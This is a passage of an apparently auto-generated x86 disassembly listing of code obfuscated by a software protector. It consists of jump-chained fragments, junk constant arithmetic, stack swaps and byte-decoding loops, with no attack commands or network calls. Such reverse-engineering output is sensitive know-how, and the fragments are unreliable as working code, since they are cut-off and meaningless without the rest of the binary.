; FUNCTION CHUNK AT 0059405C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00594490 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005945A6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059493C SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059508A SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059519B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00595411 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059568E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005957BA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00595B5C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00595C9B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00595CCD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00595E62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00595F30 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005961A0 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00596425 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005964E5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059657E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059671A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00596A1D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596A6C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00596CAB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059703D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597299 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005975AC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059780B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059788D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00597974 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005979C9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597C92 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597DB2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00597FCA SIZE 0000002D BYTES

		push	ebx
		mov	ebx, 66E10D28h
		shr	ebx, 5
		and	ebx, 0F5A4147h
		jmp	loc_59568E
sub_590467	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_59047B:				; CODE XREF: sub_5938B9-851Aj
		push	3A1Ch
		mov	[esp+0], ebp
		push	ecx
		mov	ecx, 1C53214Ah
		push	esi
		jmp	loc_590688
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_59048F:				; CODE XREF: Themida_:0058FBD2j
		mov	[esp], edi
		jmp	loc_58B838
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590497:				; CODE XREF: sub_5916C4-371Dj
		pop	ecx
		add	esp, 4
		jmp	loc_58C10C
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5904A3:				; CODE XREF: Themida_:00593618j
		pop	esp
		jmp	loc_59573A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5904A9:				; CODE XREF: sub_5EC2E8-5711Bj
		ja	loc_58BD46
		jmp	loc_59230E
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_5904B4:				; CODE XREF: Themida_:00592E62j
		push	475Ah
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 216179A3h
		jmp	loc_59425B
; ---------------------------------------------------------------------------


loc_5904C9:				; CODE XREF: Themida_:005911DCj
		push	ecx
		mov	ch, 45h
		jmp	loc_596A13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5904D1:				; CODE XREF: sub_58F5B5+895j
					; sub_5EC2E8-59957j ...
		add	ebx, 583D7BCEh
		pop	ebp
		jmp	loc_5934D1
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58B205
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5904E6:				; CODE XREF: sub_590010+44E0j
		push	esi
		mov	esi, 3025687Ch
		add	[esp+0Ch+var_8], esi
		pop	esi
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	eax, 31295A6Fh
		dec	eax
		push	edi
		push	esi
		mov	esi, 103F1F2h
		jmp	loc_58E728
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_590512:				; CODE XREF: sub_59762D-57Cj
		mov	dl, 0F1h
		add	dl, 0D7h
		shr	dl, 6
		sub	dl, 0BBh
		jmp	loc_58F720
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_590522:				; CODE XREF: sub_592D25-3721j
		mov	edx, esp
		jmp	loc_58C963
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_590529:				; CODE XREF: Themida_:00595D65j
		push	dword ptr [esp+4]
		jmp	loc_59551A
; ---------------------------------------------------------------------------


loc_590532:				; CODE XREF: Themida_:00590CFCj
		pop	ebx
		jmp	loc_58F180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_590538:				; CODE XREF: sub_5938B9+19j
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp+4+var_6+2], ebx
		push	edi
		jmp	loc_596E43
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_590545:				; CODE XREF: sub_590010+BADj
					; sub_5916C4+4A5Bj
		jge	loc_595ACF
		jmp	loc_597E7F
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
		sub	esi, eax
		pop	eax
		jmp	loc_58CADA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_590558:				; CODE XREF: sub_58C17E+4A59j
		add	cl, dh
		pop	edx
		jmp	loc_59018F
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DBC4


loc_590560:				; CODE XREF: sub_58DBC4+3C5Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		pop	ebp
		push	edi
		mov	edi, 3A3E677Bh
		sub	ebp, edi
		mov	edi, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebp
		jmp	loc_58DAC8
; END OF FUNCTION CHUNK	FOR sub_58DBC4
; ---------------------------------------------------------------------------


loc_590592:				; CODE XREF: Themida_:0058E3A1j
		mov	ebx, 74BC1C8Fh
		sub	ebx, 42D25813h
		and	ebx, 42DD1AB1h
		not	ebx
		xor	ebx, 475741EAh
		xor	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 494C2256h
		inc	edx
		dec	edx
		xor	edx, 19817DA2h
		shl	edx, 4
		dec	edx
		sub	edx, 93A180FBh
		and	edi, edx
		pop	edx
		and	edi, 12DF7E2Bh
		sub	edi, 0FFFFFFFFh
		shr	edi, 1
		xor	edi, 21404h
		add	ebp, edi
		pop	edi
		add	ebp, 2
		jmp	loc_58DEA9
; ---------------------------------------------------------------------------


loc_5905E8:				; CODE XREF: Themida_:005920BEj
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58AED3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_5905F9:				; CODE XREF: sub_5938B9-56D4j
		mov	edi, esp
		jmp	loc_592145
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_590600:				; CODE XREF: Themida_:loc_596579j
		push	edi
		not	dword ptr [esp]
		jmp	loc_591B7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_590609:				; CODE XREF: sub_595E21-5782j
		add	eax, edx
		add	[eax], ecx
		pop	eax
		mov	edx, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	ecx, [esp-4+arg_0]
		jmp	loc_58E833
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_59062C:				; CODE XREF: Themida_:0059516Bj
		jmp	loc_595D97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590631:				; CODE XREF: Themida_:0058D989j
					; sub_5916C4+2B7Dj
		push	[esp-0Ch+arg_8]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_592A28
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_590649:				; CODE XREF: sub_595E21-B7FDj
		shr	eax, 12h
		jmp	loc_592513
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590658:				; CODE XREF: sub_5916C4-6A3Ej
		pop	ebp
		sub	esi, edx
		jmp	loc_59641C
; ---------------------------------------------------------------------------


loc_590660:				; CODE XREF: sub_5916C4+4D2Aj
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		jmp	loc_5953A1
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EF52


loc_59066E:				; CODE XREF: sub_58EF52+3j
					; Themida_:00595BCCj
		mov	[esp+4+var_4], ecx
		push	esi
		mov	esi, 2AB80E6Dh
		add	esi, 0DD42F9C9h
		jmp	loc_58D36C
; END OF FUNCTION CHUNK	FOR sub_58EF52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_590682:				; CODE XREF: sub_5EC2E8-5D094j
		push	esi
		jmp	loc_58E6B9
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_590688:				; CODE XREF: sub_5938B9-342Fj
		push	56925D8Bh
		pop	esi
		and	esi, 66DC29F1h
		jmp	loc_58F2D2
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_590699:				; CODE XREF: sub_595E21-A622j
		push	eax
		mov	eax, 0
		jmp	loc_590609
; ---------------------------------------------------------------------------


loc_5906A4:				; CODE XREF: sub_595E21-4ED7j
		add	esp, 4
		add	ecx, esi
		pop	esi
		push	156Dh
		jmp	loc_59137A
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_5906B4:				; CODE XREF: sub_590B70+BB8j
					; sub_5938B9-18F3j
		push	ecx
		jmp	loc_592270
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5906BA:				; CODE XREF: sub_58F5B5+3B98j
		mov	ecx, 4
		add	edx, 43F67A21h
		jmp	loc_5922F1
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_5906CA:				; CODE XREF: Themida_:005911A5j
		mov	edx, 67123BBh
		jmp	loc_596550
; ---------------------------------------------------------------------------


loc_5906D4:				; CODE XREF: Themida_:0058B627j
		mov	ebp, 621C5AC3h
		add	ebp, 6D87121Fh
		not	ebp
		jmp	loc_58ACD8
; ---------------------------------------------------------------------------


loc_5906E6:				; CODE XREF: Themida_:0059152Ej
		sub	edx, ecx
		jmp	loc_593FE3
; ---------------------------------------------------------------------------


loc_5906ED:				; CODE XREF: Themida_:0058C7D9j
		mov	edi, 0D44487BBh
		add	edi, esi
		pop	esi
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_590701:				; CODE XREF: sub_595123-6AD6j
		pop	esp
		jmp	loc_58E175
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590707:				; CODE XREF: sub_5916C4-3E8j
		xchg	edx, edi
		push	esi
		mov	esi, 0CA579396h
		sub	edi, esi
		pop	esi
		add	ebx, 5F951F8Fh
		sub	ebx, edi
		push	esi
		mov	esi, 5CD9114Eh
		and	esi, 5F656B4h
		or	esi, 1BD3794Dh
		jmp	loc_58BB06
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_590731:				; CODE XREF: Themida_:005907BAj
		push	edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_5944F5
; ---------------------------------------------------------------------------


loc_590746:				; CODE XREF: Themida_:00596DB6j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58EBA2
; ---------------------------------------------------------------------------


loc_590757:				; CODE XREF: Themida_:00590AF2j
		push	cx
		jmp	loc_592F38
; ---------------------------------------------------------------------------


loc_59075E:				; CODE XREF: Themida_:0058A914j
		sub	bh, 0FDh
		add	bh, 1
		dec	bh
		sub	bh, 81h
		push	ax
		mov	al, 34h
		sub	bh, al
		jmp	loc_58FE2C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_595C0E
; ---------------------------------------------------------------------------


loc_59077D:				; CODE XREF: Themida_:00595C5Cj
		add	bl, al
		add	bl, 18h
		push	esi
		push	ebx
		mov	ebx, 59912C70h
		push	esi
		jmp	loc_58A392
; ---------------------------------------------------------------------------


loc_59078F:				; CODE XREF: Themida_:00597246j
		push	esi
		mov	esi, 42161691h
		and	esi, 4C635499h
		jmp	loc_5964CA
; ---------------------------------------------------------------------------


loc_5907A0:				; CODE XREF: Themida_:loc_593598j
		sub	ecx, 6051C63Ch
		mov	esi, ecx
		pop	ecx
		sub	[esp+4], esi
		mov	esi, [esp]
		push	esi
		jmp	loc_59698B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_590731
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5907BF:				; CODE XREF: sub_58C17E+9249j
		pop	edi
		sub	edi, 1E55119Bh
		jmp	loc_58F59D
; ---------------------------------------------------------------------------


loc_5907CB:				; CODE XREF: sub_58C17E+3740j
		pop	esp
		mov	[esp-12h+arg_C+2], ebx
		pop	dword ptr [edi+24h]
		pop	ebx
		inc	ebx
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp-12h+arg_C+2], ebx
		pop	dword ptr [edi+24h]
		pop	ebx


loc_5907E1:				; CODE XREF: sub_58F5B5+48E8j
		push	ebx
		push	[esp-16h+arg_10+2]
		push	[esp-12h+arg_C+2]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp-12h+arg_C+2], edi
		push	esp
		jmp	loc_596CC9
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_5907FE:				; CODE XREF: sub_590467+6607j
		pop	dx
		push	20EBh
		mov	[esp+0], ebx
		jmp	loc_58B0AA
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59080D:				; CODE XREF: sub_58F5B5-3F1Fj
		mov	[esp+8+var_8], ebx
		jmp	loc_58BB82
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_590815:				; CODE XREF: Themida_:0058C1C4j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58BE93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_59082B:				; CODE XREF: sub_5938B9-7BA0j
		add	edi, 7E1D0FDEh
		jmp	loc_58D5B0
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_59725F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590845:				; CODE XREF: sub_5916C4+4207j
		add	al, bh
		sub	al, 0ADh
		push	ebx
		jmp	loc_58AFDB
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_58E75A
; ---------------------------------------------------------------------------


loc_590857:				; CODE XREF: Themida_:0059357Aj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_590866:				; CODE XREF: Themida_:0058AA0Bj
		push	esp
		jmp	loc_58C9A6
; ---------------------------------------------------------------------------


loc_59086C:				; CODE XREF: Themida_:00593BC6j
		add	edx, 4
		jmp	loc_591D77
; ---------------------------------------------------------------------------


loc_590877:				; CODE XREF: Themida_:loc_593B85j
		shl	edi, 5
		jz	loc_58F8D6
		shl	edi, 2
		xor	edi, 69F64C40h
		sub	edi, 0BC552E4Bh
		add	dword ptr [esp+8], 48EC0BCAh
		jmp	loc_5950DA

; =============== S U B	R O U T	I N E =======================================



sub_59089C	proc near		; CODE XREF: sub_590467:loc_597C92j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058A5E4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DFB2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E0F1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058EF99 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00591787 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591877 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059222F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059391B SIZE 0000000A BYTES

		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		jmp	loc_59222F
sub_59089C	endp

; ---------------------------------------------------------------------------


loc_5908A9:				; CODE XREF: Themida_:00596A18j
		pop	ecx
		sub	ch, bl
		pop	bx
		jmp	loc_5959D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_5908B3:				; CODE XREF: sub_592D25-63B4j
		mov	edi, 44BA20E7h
		jmp	loc_595804
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5908BD:				; CODE XREF: sub_59762D:loc_58C654j
		push	edx
		push	ebx
		mov	ebx, 3A351BA8h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5951F4
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_5908CC:				; CODE XREF: Themida_:0058EC91j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_58A596
; ---------------------------------------------------------------------------


loc_5908DD:				; CODE XREF: Themida_:00595313j
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		add	ebp, 50375B3Dh
		add	ebp, 28A70966h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_590910:				; CODE XREF: sub_58F5B5+2102j
		add	ebx, 1F9AB9Eh
		add	ecx, ebx
		pop	ebx
		push	6104h
		mov	[esp+8+var_8], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		jmp	loc_596B5D
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590938:				; CODE XREF: sub_5916C4+4AC6j
		pop	edx
		jmp	loc_5956BA
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59093E:				; CODE XREF: Themida_:0058BA70j
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58D939
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_59094E:				; CODE XREF: sub_58B4D6+2C10j
		add	edx, ebp
		jmp	loc_592349
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_590955:				; CODE XREF: Themida_:00594BDAj
		mov	ecx, 2
		mov	edi, ecx
		jmp	loc_591085
; ---------------------------------------------------------------------------


loc_590961:				; CODE XREF: Themida_:00592080j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_592471
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_58ADC4
		push	36ABh
		mov	[esp], edi
		jmp	loc_590A25
; ---------------------------------------------------------------------------


loc_59098C:				; CODE XREF: Themida_:0059377Ej
		mov	ecx, [esp]
		push	edx
		jmp	loc_58DC49
; ---------------------------------------------------------------------------


loc_590995:				; CODE XREF: Themida_:005911E4j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_596538
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5909A6:				; CODE XREF: sub_58C17E-905j
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_58FEB6
; END OF FUNCTION CHUNK	FOR sub_58C17E

; =============== S U B	R O U T	I N E =======================================



sub_5909B4	proc near		; CODE XREF: sub_59762D+17Bj

var_8		= dword	ptr -8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058D1BA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FC72 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00590FFA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059107C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592A54 SIZE 0000000D BYTES

		push	ebp
		mov	ebp, 776A2D9Fh
		jmp	loc_592A54
sub_5909B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5909BF:				; CODE XREF: Themida_:00596A0Ej
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2
		add	edi, 77F35DE0h
		sub	edi, 454F2F1Eh
		add	edi, edx
		push	esi
		mov	esi, 63E85489h
		or	esi, 527A75BAh
		and	esi, 582C502Bh
		jmp	loc_58D258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5909F0:				; CODE XREF: sub_58C17E+151Bj
		shl	esi, 5
		jmp	loc_5950EB
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5909F8:				; CODE XREF: sub_59762D:loc_594476j
					; sub_592D25:loc_5946F3j
		dec	ebp
		js	loc_58FCCF
		jmp	loc_58A777
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_590A04:				; CODE XREF: Themida_:loc_5935A6j
		sub	ah, 13h
		mov	bh, ah
		pop	eax
		sub	dh, 0AFh
		add	dh, bh
		add	dh, 0AFh
		jmp	loc_595322
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_590A17:				; CODE XREF: sub_5916C4+5974j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		jmp	loc_596477
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_590A25:				; CODE XREF: Themida_:00590987j
		mov	edi, 3955015Ch
		jmp	loc_595E7B
; ---------------------------------------------------------------------------


loc_590A2F:				; CODE XREF: Themida_:0058DA94j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_590A34:				; CODE XREF: sub_58F5B5+9E8j
		pop	[esp-4+arg_0]
		add	[esp-8+arg_4], 4
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_594A6C
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 14h
		add	al, bl
		jmp	loc_59660C
; ---------------------------------------------------------------------------


loc_590A57:				; CODE XREF: Themida_:005917C0j
		push	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_59554F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_590A68:				; CODE XREF: sub_58B4D6+10F1j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		sub	ebx, 8E81220h
		push	eax
		mov	eax, 4A212A35h
		add	ebx, eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		add	ebx, eax
		push	edx
		mov	edx, 362417FDh
		jmp	loc_58D2B6
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_590A9C:				; CODE XREF: Themida_:005900EFj
		add	eax, 7B464125h
		mov	esi, [esp]
		push	193Bh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 100B5C94h
		push	1D6Eh
		jmp	loc_58DA02
; ---------------------------------------------------------------------------


loc_590AD9:				; CODE XREF: Themida_:00591B19j
		mov	dx, [esp]
		add	esp, 2
		push	cx
		mov	cx, 6D07h
		add	[esp+4], cx
		pop	cx
		add	[esp+2], cx
		jmp	loc_590757
; ---------------------------------------------------------------------------


loc_590AF7:				; CODE XREF: Themida_:00591743j
		push	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5963F3
; ---------------------------------------------------------------------------


loc_590B01:				; CODE XREF: Themida_:005915D6j
		mov	esi, 117D5F7Bh
		sub	esi, 1
		add	esi, 6E01E081h
		jmp	loc_5933DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_590B14:				; CODE XREF: sub_590467+1089j
		xor	ch, 1Dh
		shr	ch, 4
		sub	ch, 0CBh
		add	ch, 0CBh
		xor	bl, ch
		jmp	loc_5964E5
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_590B27:				; CODE XREF: Themida_:0058FDE5j
		pop	edx
		add	eax, edi
		sub	eax, 65D23382h
		jmp	loc_58BC91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_590B34:				; CODE XREF: sub_58C17E+E5Aj
		pop	ebx
		pop	[esp+0Ah+var_C+2]
		pop	esp
		or	eax, eax
		jz	loc_5938FF
		push	dword ptr [edi+1Ch]
		sub	[esp+6+var_8+2], 33CD15BDh
		push	[esp+6+var_8+2]
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebx
		push	esp
		jmp	loc_598018
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_590B60:				; CODE XREF: sub_5916CB+9j
		mov	ebx, esp
		add	ebx, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_58DEBB
; END OF FUNCTION CHUNK	FOR sub_5916CB

; =============== S U B	R O U T	I N E =======================================



sub_590B70	proc near		; CODE XREF: sub_59524C-8049j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058A475 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0058AF3E SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0058B146 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058B512 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C50A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058CD07 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D946 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005906B4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590E7D SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00591722 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591909 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591B9A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592270 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059238D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059370C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00594971 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00595B88 SIZE 0000000A BYTES
